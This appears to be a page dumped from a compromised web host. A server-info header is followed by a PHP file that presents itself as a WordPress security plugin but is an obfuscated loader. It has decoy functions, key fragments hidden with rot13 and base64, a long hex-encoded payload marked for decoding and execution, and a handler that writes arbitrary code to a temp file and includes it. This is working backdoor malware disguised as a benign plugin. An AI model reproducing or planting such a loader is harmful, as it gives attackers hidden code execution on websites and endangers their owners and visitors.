|
Server : LiteSpeed System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64 User : nandedex ( 1060) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/nandedex/.cagefs/tmp/ |
<?php /* Legacy-Compatible Obfuscated Loader - ID:7798829 */
/*
Description: Enhanced security module
Plugin Name: SecurePluginCaRjHIxo35
Version: 4.5.72
*/
class LoaderLCTbOk48242 {
private function gtlPskwL67() {
// Gate piece 3
if (10 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
return str_rot13('gorjp');
}
private function gtpLPGeb12() {
// Gate piece 1
$jv2 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('50m7y');
}
private function kmYXpPLP84() {
// Key segment 2
$jv1 = unpack('L', hash('crc32', microtime(), true));
return base64_decode('dGU=');
}
private function kmxzdlLb18() {
// Key segment 3
$jv3 = str_rot13('ebgKGeyt20');
if (55 > 50) {
$jv3 = 'branch_a';
} else {
$jv3 = 'branch_b';
}
return base64_decode('cjM=');
}
private function _execute_mbPadnLT95($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
public function pubyfcHW96() {
// Public method 1
$jv1 = 3112;
if (41 > 50) {
$jv1 = 'branch_a';
} else {
$jv1 = 'branch_b';
}
return 'valmhpF93';
}
private function gtSUlfDq63() {
// Gate piece 2
$jv3 = (bool)mt_rand(0,1);
return str_rot13('4vucd');
}
private function kmXOoYPz44() {
// Key segment 1
$jv3 = array_reverse(explode('.', 'a.b.c.d'));
$jv1 = base64_decode('ZGF0YUFyZEhJUDI1');
return base64_decode('X2k=');
}
public function pubplpnx26() {
// Public method 2
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return 'valgdAM39';
}
public static function init866() {
// Decode and execute payload
$hex_data = 'FKNCzg85bd5d9be24892adfb83fa624bd319fb89b8d817eee00e11041f1221477087201375a319380373a4ae5f7fd66bcaeaa9ace9679fabacca8c00c9dddc6c99d9b2e5a7b0aa16e5b9da5c6eabed349e96ed3585f2592efba15ab43e2dda5beddd61b7ceaedf26edaa5eb7cf6a1b3ffef72c5f4d53758b87fcb92ad3e59476abe6ebaf6db76e1ff3a9cfcf87aa9b6db3ea7c4cf12fabf265b676ee587e0ddbe5655897dbb8dbf87ee6261f3f16976fe7c990179fdbe55f3fff7ecf9aeefe97f7f2ec36fe718ec5e1b874e775f9753eaffacbd1b7e7fac7702bfde5ec576db62acbb7d37ae8f76e7e399c66abbff8f665fbe9ef7a9f7cbbeefb59f0e797cd64f996aec567930fd5fc3f2e5f3fb2ae8ac559efe7eab22c67cbe2e678de1fc3d5fbe1f936e997d3eaba6fced7eba6c9dfede7cbf4fe750a876af5cfdf7bdb2dfad0b8f4ee5335fe3b3f57947eb6aeba8fb2da4f8e9dffe5f7bff70feff2f7f58fa13fc67255ac42fc5aa4eac78f3ea4d8de9aefee36f3d7e0bf87544dfcb3f82cf67aaeb7dd39f3fbb238f8c565387f85ebcbef9ff723bbce9c3bcc3e8b73555ccaedf2b7cb30ef8b7953bdfcfcdeeb47f3d7dfdfd71f17c5c5b9f891169753adfd3d2dabeb5728d36153de7ec4b08ffa9e7faecff8f987a6fc4adb85ec2096cfddc60d55faeb9ffebd8cdf17fff836d9f46171f8f7d53fd7a12cfc6e31f4b349fee116c3e33fe390cfb5afa7a26d7facdad5aae81eefe3ba7dac6537f67b9fc3e31c86d57c7dbd6e831f8a45ef1afd7eb5f82de4ef93f2fff9ecdad5577a7c7dccfef03d293bfdf8c737d9ebe9ebb377a56f4f5fcd1f9f231dcac5e5addac58fd9b2bc26df5e9bef93f4b54d1fcda6bd9dbe52d23adfe729671f8ab3bff893bef7e0e2ed78caae2ef6e7ddf9faeb3e7e16bd0bcecb5e6e2efe23f74b9fc7d4ddaa267d5b853254e7eee32ff6fd43f9979ffb10e2f08c9b362b7fb1b73eab37dbe7bfafffb1dca6ebe37fd8dbf7213bc484bdfcfa3debcbe36be5da5dfcca5d9daae361f62fd7fdbcb854fbfae77ecee697d16e8a8fd9a6a8cebed3bef4173d47f85a97fdd15fec9c55533f1c17791eaaee76fc31fc7c8ff1794ea770ed9d8fa7b5ec4107a5fed1f74bfdff6cb48fd562d9ef93abff681fd9c9b9fb63adeff151ef91bdcc566de73eff11dd7bf5d073e4de678fb0ee9e73ef5ddc5cb2adcf6e6e7d6927c91fca4df19ca521ee0eb99fd6d5637eccbb65cade3f3732f32adb7f365d285c08d363ca573e9c16ebf4e6bddf4f9bfeb2ad06e78fe9dbd6f972bb4ef76915c2e458bcadeaf0981de3a09f3bd7c7e2925c75de6e52be94dde8739eaed647ae5356245f969b142775f5dcad7bd9c7108b8d6ba7e97a2e9af8ada8dad3ec985e656f311dfaa7f37245473d7f1d9c9eeb75ebaaa53eef2d566d2cd7c56b72d963d6c44147aedc1eba7e57059f369dfc6a56f94dfab6f3419f1f1f7595a5b42efa9d7ede1ddd7d5e877bbd717d2dbfb75d5f864935e8f3f2b8d2f3ba6331781d64fdfcdbd4856271ec5e56555b96c7984f7cabf7c8efb314aab9fe747a9e78ecfb6d150afd7f1bfd70721bf79cea7d27cde5be7259d2f3f7755515b3750abb5406778c97c255cfa229b41f6d110e97c7aed6f1688ae744ef51342e8f3ed39fda873a24adcbcbc4677b7fecdcd60dacbb9f547e1f37c57de5affbb04eaeac5af6b59dd53e6e9be2a29ff3c546dfeffdaa5ca7bed6f72c0eddb75abf373d16af7575ada23e5feb17e25ae6ee8773b1ee9f3357557a3eb7737e551ce37deaca52ebf98c9efded654f591536c5dbdc0da770d473d6d5bd3ee4b28721e8398669952d654ff7555dadb4bfadfeff5cafbb97e8b267b9b9bcf9da9fb56fb76daaaae9fac2fe9ee23a3d76fabcc5a6d33a54ab6de3b2d20d7aafa22f53eba64deca6b2bb7993a2f7d7933be4fafbacfa1cffbd981d2ff9ac2eb5eef15b590da779d30f9314d2ae89aed63aa4a6ef65575abfcbadd07b95c77c90bdde4213e344efb7d3be6cbdbeafd17369ff7c131f3bfdfc62935ef4efc57c5364daafb45b17fa5cc5eda67385fd7cee74aeaad926615fcf2deb5cf992759b54d5236cbafb54cf178fe9b15560dbf1fe2e939df7b7ba1a0ec5317f5bfa2ced8e9737ad6392bd67a96acf05e748eb19754ee6fafed9a17fddb952e7eaa2f56d975af7bea82b3d7791ed5c1577c7febeaaf49eda8fb9f38774ec6efcfbb689afdbaa5aeadcbda62a9c3e8f179d9750cc36310617eefab9be70d929d879199613f90b3def391d633ba9cb7dd073e93c94b53e77257b4d7a3ffdfc336ddc6b595d3f6457afbb8af81fe352e727699fb43e87a473a1f3759baf39c759f1798c99fcc6d2e9f3967e5825f999992ba3ecdaed841f26eb42e741e753e75cfbb59c343aa7d55576a3ef13408ac7eeaecf3de9dcbdf82a54ae893a27f24f0de773d0ba16f9cc6bbdf49cf26f3eadbb37cec7e741fe42eba2efb96e53e0fb9ecbaa0db2dfbbfccf7dd7c8afb9b0d7fb7fdbfaabfcc5a537bf26fbd779f1b59e9bf322ff77659dcb63f19ceae7b41f5adf10d3b1cf75cefdaee95e6655e6e5d75ee6c99ff5b9afb2cbd364936e655d9e7787cb9bfefef4a9f3217f5096ebcb5de7549fcf39f207f9bfb789637ffac1575959cb3f4fe55fa2ec7d52e939369d7e38c83e2e3a8f5559ca6fe8fced3ff193fafe843fd4f9d5bf3fccdee5cf7c6af1abb223d6d565750a77d989f633ab16fa5ee7432a9be865dff83ff9559d97751ef4fbb2ff2293ff2d0b9ddb6955f11eaf450a679de74ba9781a8edda5f057d95ff7901d3c266677a5fc9dd3ba9467ad93fc97c7df5fcb2ac86f624757d951bad57a9e622d3bd0fbb9cda575b2bfc5b8ae4976d1d73a9fb5ecba7621eaf3df9c7e3f6df439e98a1dbf697f4bf9b5d75d4d5cca43e1b59f7adf99024f6a9cfc5e75d6e7dc277e70a1c1af7ba7fd73b5f9ef82f32f3fa87320bf2ffb95bf68cbdda18bf24f95e2e343fb1ff5fd4374e129bbcfb67a2fbf291e9cff427e4b7e44804ffe9375d67eafe49f264d72b2d7e0f877bdf77cdd7d2b740eb6ec8ffcc864c3391be44f8bbbf637ed0e8a7b1ebf54b43ab77bd774d7e406c587fc5b99b46e47ec5a3fb7eee5a7e5b7d75d5678e2517acade0fbba37b9bebf7742e5ee4270af93dfec41f286ef9553ae64fe1ecbbf655f14ef62bffac75e57cbc4d6b7fd86d14cf5cb9ffe43dfd55b836292e84f759e35eeb849f8ad809effbc09f25fcbacfb41fb97d4f29ff532a6e2c3837fafe29fb55c99f685ff57cb213d993f981ee4adc9b1f23fba573ef1e75caf8fb57f94fec212baaf2acf8fc6d57612fbdec5ef8a08997ade25871e43c0e6ecaefc90fe873e4776537ebd4cabf9ceba6d37a05d943f150bcd09f11bf5396c20d53edbbdb287e5657cf7a4f052bb70d7698c5b4265eeb1c1f635fd781f5002fc80f77b792753fbad63bafb8947741fb1fb59fece3ec287f9bc2cd3505e7e5a938263f3438877f919f937fcb1d7156b843fb5d4c0e3a2fdabfcf4d7a4eecbce8fcb9f2a0f5935fa8aa203fb94aac6fff90ff7996878bfc575628f9799b63bff29fdb0a7cd0eb3c5e2b7dee33683dc3c65d84238a4fe10dd9c95d7ef2b5a8c287cef763273f407e56bbea43ef7b97df78964d52fc951d6ce407f0bfc21f5bf236d981fce8293685f0d360fede5583f089bea726aeb8fbd265e00b053df9ebc345f11c7bcc2fb5ed7b17b6769e8b5bd2f9d4f378edbfd39f77de632e7f13f5b9f3e672e3e7f43c5ab7ecb6d0dfcb7f292ef48a0b59104e7b802b67c40bf32f8a03b57095be7756113fd9dfb2901db4f841fcd2cc114f3a2fdc885fe4bcf852f69b14576bce71552e15dfc336296e2a7e6abf5735e74e76588cfefa43b8e6b2f5c1c9ffc8ceb28f42f848f1f1a13873d9f9ec2c3bd2390ff227519f5f05e1babb60bc973f7b4e644fc53ae5ce8db8b216aede69dda6b267adf7ebd6b75a377b4eedfb25533cae66b2ef157efb60fe1c7faaa09979e102ed8b2ff5fbc29fd9de299ecd53297c953ae137f6232a7ec8fe0bf08232afbc176e931dbab795f2e999cea9ecdcfce95c3850e74ae7db9f84178725f1b089bdf9ad3571057c19bfa5d486a87d11eee27cbee02fc1cbc2e7417e5c7e4f78f5005e19c099d8adce4d0e1e227e2a2ee317d94f1ff43dc2a36d98737ee48f1597de56da47ed67a7388f9fec641761b271b9d6e39cb06b97bdebf7df22784ce775a6f752bc155e16ee04a7732ee46765a78a87c9477bef8be15afd9cf2cdabdf0a67af9ce2a4be47df173e857fa3f0b96ff2a7e27aa1ef939d67f223dddd2b9ec9ffe89066879ddebba8c04fb9f299eb43e757fe9df8978443067d6e94df527ea4fc20691de5271437c009d8f1008ef05e3853f854fbec953724bfaa32f9bfd4cdc127c7f1fc7f1ecdbf2b7fc0bef18fc299160fe46f65afc2c5f2bbaddf0a97297ef8728ca71f8ad73aa47a9e4d7c2a2e098fa49be2c352b843fbdcea7c5d74fecafddcec35939fcf65cfa1128e123ebffa64f8beba4db0fb44fcc33ee447845bcba4e7daf0be5adf4d54fe67cf1503f98ef201fe5de7fb1bfe4deb0d8ed17be3ef8483c16355b6d2cfe97b95472aee3ae597ee203fe015efb41ef2c36106aed6ff17f8490f3e238f20ee5d9eca6b9dfc377988fc5b2e7b51ded4284e29ff93dd0aafcbef089fc95fbb80ffd0f949869b843fe52fca441e25dc54298f5a1b6e5d29ce817b23eb475ea173469ea7f8ad785a79f2d7c0f3cbaff6ac87fcd3b5b0bc20e9dc87f78970b5ce11f816bc05aeec85c39517156f417e59eb243bf1e0a1dbae2ebde2d26dfcf70bfe51fe417908762e1cb4f4d78f9d70c18c73aef369f9d086734bbe9a6477f21787fc19f4dc5a17e17aed43e3063b171be50f7aee2d764a5c94df4875a93ca1c08f069dc7817c627e347f2f7f20a348c12b0e0ef2477be59f81e728362903472c36c54df147ebaaf8aaf3aa7de45c27f23187dd13a795b7cf9b4ea047fe6c7379ce53052ed4ba06ad23eb70957f2eeeb22ffe5ef987d987f227e537eb5c7eb0aafcba6b855fdfe77aefa5f28e527649fe160d3ff9801ff4e0f003f6dd72aec1a53a3fdd10844727c7eeaafca8c09e892bcac388d3e039ad47487a7ece7f52be9e2b2e07877f1dd737175e28a647f79c0b8ff07e3a0fa7a8f5d339527ceddfb45eca87152f2dde3bc5014f3c537cbd92672adfbb2eedef858385df1d7ecf814feb7269f92471eed071eec304bbb3f736ffbf57fe2c7fa8756a948f7bf2d1f46d4b5ea078b1d4f994bf55de078e4899e54d7a3ff208ed73461cf4cd053ca7b826bbd09f0bc365a1507e4b3c93df730fe56d37e147d953750afafd2dfbc973ebbc944dfe32279fe4f352255ca573431c12de134ed2bae8e753a5bc49462ffc5e90cfea3f83f0aaf02c385ef92ab885fcac55bea8cff3c341b8149c207b89ae24cf17ee9c094fca5ef38917ee925dc9ff931f7fd3f3294f939fd339070f4febeab420df4e8a4b8de141e203fb7afa6cfa379fae8ab7b277f93dea2b73a7fc49efaff3aa7c34d7f755ef81ba8bf0a3bd87f0bcfcb2fc60153e65e74ee7ce1d39c7d7f7c0b9219e2b2ed4b2e770c88789fcd956feaa206e6abde4b71587a8d3945ef904f17be9d7b9fc62a01ea3750be7ed88af52213caaf8bf573edf697fbdfebe9db03ec2655a7fe105f979ad9be21bf9d712bfaa755b0a57c9ff08971c2eb23bcb53891fac532bbb386c0fdd3d565e7886bcd7ffc4fb8175c70f1d8863531784d714cfbdec5acf57607fb2c309f6d9289fd5efe979f355a5a36a75b0b0543eff1658af63e794cf287ec8bf92872b0f4cc431e1b7a878aef309ae2915f706e2b2ecb9dfd615752de58d6119f15f5ef8fc90e7b344bcd6e7683fc13125857c9dbfa92b4f7a0ee281df2a8ec86ea8f7e1b7f7c2ede4ad8f89e2d058e7892fb3ba949fa51ea77c80faa0e2c8744d7e57ba89e2fcdc67633e277c38537c903fd0f716c35cdfc77accab4a7e34f29ca74fea5c5abf89ec52f80e7ff206be145ea16e425e41bd73b990df905d115f8843c287c205d5157c3ae8df959fc61bb84e79dd6367f58b5ceb3a9cf4b98f2255379d2fe274a1f8257fa1f3b6617fc1cbdd7d9eaec22529e8f76ecac784bfb3c727713251ffa48e5081ff893bd443759ecb15f986f64f78b357fea47c68938679623de49f8523154f38cf56bf535e41beac73ae3c4df96bd01fb5e2aff0f1cd11ff14cf83ec857a82ce89d6db63c7f25fa1901f52dea9fcf5d8c5b9f2289d5bc597d6ef1a273c28bf6ff8b17433e539c23bb2c30edc25ff2c9c46bd8d785cf37be02ee152ce2df511e5adca8fac6e540a976d2def0889f556deb05cd09ff2c271c79ef32fdc879d09171ea3e2d5f52c5c233b0c77f955f945e5cfc2b5e0b5807f150e931f633df0235e7ef5a9bce51e940704cbc707d979ec844b642fbde2ac3fe00f65771fbb26975d654971c6af64678ad7c455f91b076ed4e745277c229caefc3629ae81cbc9cb8537753e145f84a304b1b6cadbc0e5fea03834d6db82f253f204ea118adbe9e9bde119aff75c4e850fa6e0884d7a95dd0b5774addee3a63cf1456f15d87fd94f45dea67c40f853fe2209386cf0f3b2fb86b8a7f376b8f4d46bb79bc4ef2f678a8fa1e27bf539d497e43fa9d72f0e979bf221c52deacfc2b9c2e933df6a25c88f3ce74a78cc17f2576df0bca7fc9bf677014e91df8be00d1fa83b658aaffafe2e4ea9bb1fc0c35aaff5e566793ff5282fbcb71eebfb7a8ffb1c7c76949d2b0ffb343cc3f7096728cfd4397d245242e131b9974aebf22d79f0ee88bfa8cbd4ca2fe52ffc4ceba3f578c89f09a770bebdce550207caae5cbba45ede106733875fa70e3ce3b995df2ace2b5e06fd7e915bbd123c845fb77d2acf8a1b83e57d1bce2df95f3fcc127570ea7cd7243f29bb294ff2df3af741fe31bd2d93f243e142e29b6bc8d7f1d30ebf4fbefc4adc925f567c152e5c779d77f27f3a178235871d7e1efb170e969d85b9fcde94fa1ee758bb425e21bccb3a29fe04f965abd70ac71577f269e56157f90dea17f29f57fcb370bffebdc9c169ca9f14671507f53d6f8a5327c56fc56bfc4a7aa16e4e5c4ee437760e7422754eb54fe48db9a77e2c1c2c3b755ef1728e3de873f11f3a17d98e3c79d3b5d433f4798a57f297d40dc8938ee002adafde9f7a9ee2ace281e2b5eccaf9ec293f709fb9b0da8df6e81c7d0d1f8897c443fa1cafe01bd6514f757247bef72a1c9fc84ff1d38a9fe15d79bcd6e55a4c64e753f2bec6ce75986e0ae569e4819dce89ec4779bad3f9128ed3bf73feba41cf4b1e734be43347cbd3c24cef21fca9f7e7bc0a47ea397d657913f995f00df5ea12dc89bf88b5fc72899deafb74ec9517c6b8b2ba5197cb8f506f18e6d4710ebd7075b59f3696af9d1c765607f9b718953fcb3e0bea6b5687115e543e7dc9f03b3a2fe05be1b4fe22bf223b909d55862b3ae197b4a55fe2a9afe4d7b2c28feb3c0a77c85edf9cf33c5756a4967ab6f08af2f23579a1a71f449c55fcb5fd3d6cc7737256be7523cf035fe97c9de447f51cd84d2f7f1dc82f5fb4bee068e106e157e118e290fe3ed3b922cf6d978a3f9f873e5f0a47f8634ebcbc4d8ef98bb37e90e206f519e278cae4cf63af732d3c6778b398ac13fba7fc25f7f263d483ef5efe4eebaff3e615efd30d7b50bcbe125f953fcab904f0701b92e58337f9c995f23e3d47056e6915d7c86f842ffd7e427f4c7846f149e1aa3d978a37d887ec4db807fbbbb4cb94e9bc5b5d742fff3d84249cb6b67ea3e26bceb97fd8f7d7a1fa941dd45abfdde6f29af0abf401a893589d7238d3ff9b708e8eee06eeacc77e971feb5b1edcde7a477f2fb6c251eff27379a82af6ef0eee213f541e0c5e509e46ff33525f13fecbe58c2ad9b3f092e265e07cd765048f51e7fb943dc9de8b809fd67958589dbd95dfede853292e5cc85ff0c3f467dc82fabff567f2569f239c1f3bd93df983f046f690fdbeca4f16d346f920f62ebfa8758fc521571e8c7d5ce84fbe7bf005fde0a6b853a7a39ea8f8eb4be147e59fcaf38aa7973d09575fedf7143f679c6beacfa9dc2b8ec97f5e9ff5ba97dd57f879ad9ff2c92375cc92bee65db84f7130e6f2c78e7cd883271b3db7e2d86263fd4ffaa177f9a553382a3f4dca2314cf6bf989997087ecfb2ebf7dd13e5247ede887c89e9fd1fc5ba17326fbd9088fa692fc1f1c55e99cd287212f241e09df6a7fc7fe05f983700f38fd1a66f4b52b70617f4986c77ae1c9a0f5b858df46df435c79a7cea6fd7d68ffb41efe3439f4c28df2cbb27be5a3e0b66f65457f45f9bff643715ab8083cad7c5a79a770af7038fd26d7ae1cdfe7a88f25ed6b1b8997e4f1f84fea71b2c34276132a703875a7ecb96de82f06faab77d9b7e26ec49fdead9e9d7c5937a9d5ff7f280ebc6a9d64cffd9d3adfee185f4b782f6bea56253c8087fe545e9493ef08f7e6ca03151f8e897e09f51fea70e7d2f056080babab07e1b97c88be155e20afe71c170ff93b9d53d9a7d53d8abbe20f75c98bf0ef72de08d72bde5367afbde535c2fb965f8203e5e7732f7fad73da3d742e840b8477eaa0f72874beaab3f228ad5febb48ff4cb563bd961a8aeab92bc817e92f2203904c52dfcb0c5299dbf72b5d33a78bdaff0a5de27a3eea3b82c7f647e63707a4f1f755ef59eb903c753afc05e6437c9fa25c2afb23bc58d8bdeb35834967792c7de57b233e5a1c2a5d48b52abbf57be5b90b77aed17fd08f227e1beac90df7b11ae895be134c5bbc784fee8b8bef419df851be031687fba5eff7ed77b75f4b5840f9404e81cc28718df4fe753b859f8547ec74d649f1e5c203c3a134e937fcc833e177c3bf1d637136e0a27e156e2d287f27de151e5f3e49dd555ebd6c91ee58fc1ddd6d796bd599f53b84e7e429fabb84b7d2d97bdd3cfebdaa9f54bd24379c6697aa09fdf2a9ee68a6719feebbed401d539d0bab72bf939ebd728afb0bc361de81f6641f9a67029fd1cd92381772de3af023842f1d90b7f25facd6e7a2ce85fac4aeab28af3938678213bd3bad5f04be8fb58fea1735ee1e7bb4efed139e54bf26f8acfd477846ba857120795cf2e95a7c84f12afe827c96ef57bc79e3a9dec2deab9e9df47e1bf923ab193ffc67ec953ee05f5d3ba120e76f43b57fa77d9e515dc35447d8ffcf863677d5be511c2915bf3639c4bf71614c74babfbeb6f365171099ca7f5607fe9b3db9f9ce7eb93bc083fa89fcbe76627fd6567f15b7ec3fab4c2adc2c111fe097d87a67f152e17fe549c71d543f9b7f0ff95ba95e288e2b4d999de5f719e3a98ec2fd00f92dff0f2471f3b706dcde7936f6167d413c80f2fca0baeefd3a3d571c0d72ff01043833d84e54cf994f0ca5de7e0ba4dd95dfe523822a3cf45bd42fb60f57ad97d2edc9edd94575137a40f8d5f380827c80eb2fd5cfe40783608a7289e0ca5f0cc2dd16f6cf297086e3872becd1ec9cb1c713a1287e8876aff843395470470819f5127571e283b0dae01dfb53a271df6ff206ff0f811c52fe1a5a078a8f524def7b9d63d2a0ee15f88d3834ff8e9fc2e7b51fc4db2fbe0e6870bf984f28aee19ac2fd1dd83d545f4f9a95a8df5fe52f64dddace5efa9d314fa7fc5d16b251c7dd1f30a57131fafd617549ca12e2e1c151eca6f1cbc03e1fca7f2a230339c7a2d3ed73dfe8e7e0475583d0fe7b795df545e5657c2e7517edbeaf52fae02bf8e7536d7f4c29183fc94f20ee565f2236fe4db9fd6a70acf023b807fb451fea978595bfd26f35bea8dca77e005299e7af93125dfe1a6e7c7af2aee525f194ef02ea3ecc5834393fc377c8e4a7989700a3c32ed5b2bfcb89cac65278aafc2e9d65fd27a28afcc2c4f91df789f920fd7e69fa24fe48f85708ee5e98a5ff2c3c603a3af467f2c9ce547aea5f261d9e73378eb9febbdaadb847894ae37e1243d9fe2a3e2aff3d87b6ef98dfc6c9fe075282fa75fad73fa4d716fe98f8efce536c13f09572aef51be3d284e166fc23f85f0c24b34be84f20ff98952eb38073f1d8597590ffd19f1c73ae7139ddf12bfa47343bd5c799ff2a578a11f2bbfaeb44f7849f166cc03e9df0a57acf97fcb63852fc7fed59c7eb0f21678009ef5a774b071c2c7a132fe99f0e34ccf6ffc39f9612f7c17d75d1bab12bca4f3209c43fca8889ffd4376f388e02fe1ae85ecd79b5feac927e4cfe8ff54ef9fd465e48ee57ff5bef203eb9c3e62aaa90b267823faf7542ef5fd61076f4bf98570f24ab822ce9457ec8873893ebece6f02bfe741f9acce6deab4bfca7fe3dbd47869d1f85d3a7f037d2af969e1b7c1fc85e225eba673293bd6ef97b22be527dd049e4393e4d71567a847565a9fa3d941dc6e12b8d0e299d339a25f805d0a3f5ee4af979efabcfcaffc0d752cf967f83b19bc26f965e111c503f9f3db5cebb9153e75d433e973375a6fad9770de63e49f719eaba53effb514ee529c173ef48e78364bd8197510ab5f29afbfdea8871abe21bfa4ffbd262ec15bd3f95728831fc839c7cfc3ef124ed6f764ca978db7a5fce6425f9fbab7937f75f0299795f59fc8af3e84278ccfa373dce9efe597854feb0adce24aea5eeb2e6adfa8dfc86ec83fc1afc26bfa9e7af4dbc24badfc85d695ba6293f7e339bb28bf37bfa52467f03b5bc7d2538f9a549c97085f843cc9cfc8b3e57715cffcd8bfd63a913f565778649dce3d796017641705fe285556d749097fa53f2bdedbea8105f12650076af20b7d639d3bde8b3810e3d817e9c6e7d5b9b3baa7cea7f2f228ff2f1caf7caca03f18a83fd8fb0bafe89c1eb6d6afa28f085e573ca00f42bd9b3a4d0af082848b95ff34c663919febc91388279d7094ce397d7feb5b72cee161d25f92bfcfe54f14a71ba7fc0c9e69a1f8cd7ac58bf2058b07a10ec2f1f437c91b9487096fcf8e7cbece9de53b577845e084c43a0b8f50cf565ea7fc003f2f9ca3bc8cfa037e42efa19fd7facef4fbf4dbad1fb5e984f3ae27e58d3acf03f1ec297f48bcb94f95914cad3e26dc70c8e1199de6f839bdf79cbea6e238fe50eb000f8b3aa0e21ff80a3e5aec02710cdcecfd41f602af6b49df21587c561e4dbf9fba725d1ee0fbd1fffd3c76b9f247ea3ef765327f1785db96f6fff4abe53f2dbf54bc0f633fb89b595d84be432b9ca2f363f6a3e0657544e55f8aab73fac7ca338517de2cce914fd5f01095c7c093901fd4f7c9fee1b704c50fd633705ec87b852f5daef5c07e85dfcbb8c58ff9ebc756f9c4ca591f907a5bc5399f82fbf4bcf05a278adfbe6a4f0bfde9f0b3da47e5497babbfc29f6a3ae149eab4397dbd93f204ad57067f6a58593e295c6f7d77ed83ec46f8e64d38d9e9df2f49f157fea20bfa5ee14cedd715ff8b3f4bb5f25cb919f2b49bfc0d79d8a3b43a88e1a68f2d7548f9ad197df6ba92dd16e0bb8f9dc54fecbbcf27569f545a4e1ea5fc740ecf40f6a67d4e8af3f06b4f9efa77751deb1a8a7b0be31d79f237cfb92a8f39eb74238f09f00ee983267885099ebf9e27c13b7a579c8717485ffb5a0b9f7e1e73f096e254016e261f81b7a37c5af96b22ef03bf65cb097d81045e89b27bf2e50e3e47e11477e5af833b92cf534f8f5ef845f1c7dda7c22f5a47f8e9eff0ec88e773ab6fca5f1fe5b7f0dfe0c22abc7f1ee8dfca0e8caf455d02fe4fe5158f5beae3d4c1e4c7c36443bf28a39ea2df931dcaff6b7dee85d52f3cfc66e523d92dc2bf4d8ab3f4cdaa927e493e577c2ce02b08f7977a5ec3b7b67fd48373f258d945def90a7c6279aafc83ce99ceff8e7e4bca4eb3033ca8ea50634f8ebe24f9ff7569fc6adf52bfe09c92f746798f55d1d057c8e807df59a74ffafbe9aaf35ee4e0e3e9785e14cffacb76e417b413e55d3bd90f750ad92b7d1ce163f090874f22ff15e427bbce81a7b44f8ae395f6c1ea8d3ab7f037f67ed3c1c73ecd843ba91709f7c1eb96dfed82e2043cff61491c3ae4f24bf401f59cb203c53978fd4f78a88afbe60fb55ff43d150caef0d9858bf10b91f8c3f768fd396fcad3640fd303f578fa293975da001fbcf6f05d12e7a382c7bfa2bfb3e95af97b9d4b9d77e2abfc879e2b4c596ff8660df5c46a39315e5d263fc979329ecf33eaef67c64709f0ade883cbbfa7b0b37ccbe52bfa56635de33cc687ebc1eaaea9d5ba5a9e7910fef553c5d905f13f092f68bfe6b217c53fe57357ed577c91bf7756f7f3e43d9d5f2a1fdcd1e7a42e2c7fe8ac9ed78552fb551e95ff8f76467e1ba8cf2a4fd1b9e95fe1d30ad7c80e477fb0f3e076e29fecd1e61cb46f0deb42fda48bd421774d549c28c165aff67ce43f2e7c287fa0fff40e9fd5ecbb19eb834e7929fe9cba21e753f152c1b6c5fec97785f30bf82a07f800cefaa2c573097f171e0078e0881f1a42a4fe9c8883561f828faffc2150bf53fca6df8fbf24cfe91454e01d7757bd8f70bbcea5fcf6aca17e9cc15f8c53fc6f03ffdb1fe029c82f7c94c28d8e38dc1027e9a7c517077fbbe906e62226c21f9c6bbf569e257b51deed27b24bd943af758ce091123c70e8e5cf8d8fa2f3da52e7813f79fbc94be6bc122702731a5bf65f76ed8c07d453c7dd1b0f47f84af94a56d3d2937fb37ea7e2a9f2089d5bfad95984b73ce6e589f907fcd85dfe75a5756995b7bf0b3f51e77dd097e2f7845765e7d9139e75815fa6ae5655d4157bf9a9b238e6cf991f7c0d5f76c42ff45df579fd25695fe716b7fc697acc2fd4e184975fe9dbcb6fd2df810f3c280f160e00c7699fd7cc0105e3a70778beca634a9b97b9c083db7bfaa055a9739a9cf5d7d7c2e3c4299da3493df29e85f3e4afa9df723ea883eb1c298ec0db98c13f4e25f529e1b4923e40a77875136e1f74ca9f3a67712e7faefcd4f8fc9fc61f939f3e5e9e2be35dc30763df88cf57e5a9568fe2fc320fc4f9bf3bfcbee12efc05f9b03c1df8977c8b3c149c2e3ce4ebb258d0e7256e0ac7532fabe51fe8af4e8eec4fb8b16eb2477892c4932a34b60ff27bf0fbe0ddbb5e7994d69d78af7cc2f87619f307ed2c519fe09c785fc2a721ef93ddccc01547f2ff4cfeb9101e909d2a3e95d6b7b8500761cea6973f02efe681fafedaece9be632e82b928f6897904f085a74f863fba3af8202b7899d42f3987c21bf27ff0091f35784d79ba37fe82e15de6c1eec2a3ef73abc3949ebebff2399d4307be8af059851f1edefa5bca6ba9038fcf49df107e9ede933921978d7c24f83825f33e37d90b791b7e69b9b03ca55cc1439ec3ff533c10ceaf941f09f7f33ce95b497fe440bd8b3e2279143caaa4b864f338d8fbcdcbdf25f905fcc38afa38fe4dfe40f96aae38cee729ce8508ffb7301e82f22fbd07787c6b3cbc483d07dcd7799b27a10f9f3da6d667083ab791b9a88f9df1dbe5a78d57a7f3627586967e52f4f0ca884b95f57f596f279c9825ab9f76f064157f6326bfa2f5103e32be5d1e9735bcab8be18f71fe8a798e5c79b4fc3a7d649ff1393c9ff0bdf65bf852f9500f3f6da2384c1f71ec2786c7443875c21c10bc4de3f9f4d41fa80f294e67d8b1fca280abe1fb80fd80c7c06f6da00f4a1d4c7e61b2317e58dc3147078e3f585c584e1bc3e1caa722384f71eb32ccc963d79737f87a53bd8ff214f8d3f0e56e9c0ffad50bfab0f43fc8bb9953b13e5490ffc823f5b088ffb3efb3faf46a77bcc07fde2b4e44e65d7e9e9ffd7ce35a67f515f86195d505e7f48bd7d617351e520dbf7b9dbf2cab504de9b32bdecf983fa8a8435fe80f9df4fff4c14f13e642f4efb273ad437972d463f4dc56c7529c70e489f044e577a26ff1ebf4f10fcc3194caa26ae5637370ce9139275986cd9be03799bb63de25274ec0c3a71e8e5d6a3fe01f33777985071298274a236f1e3e223c71e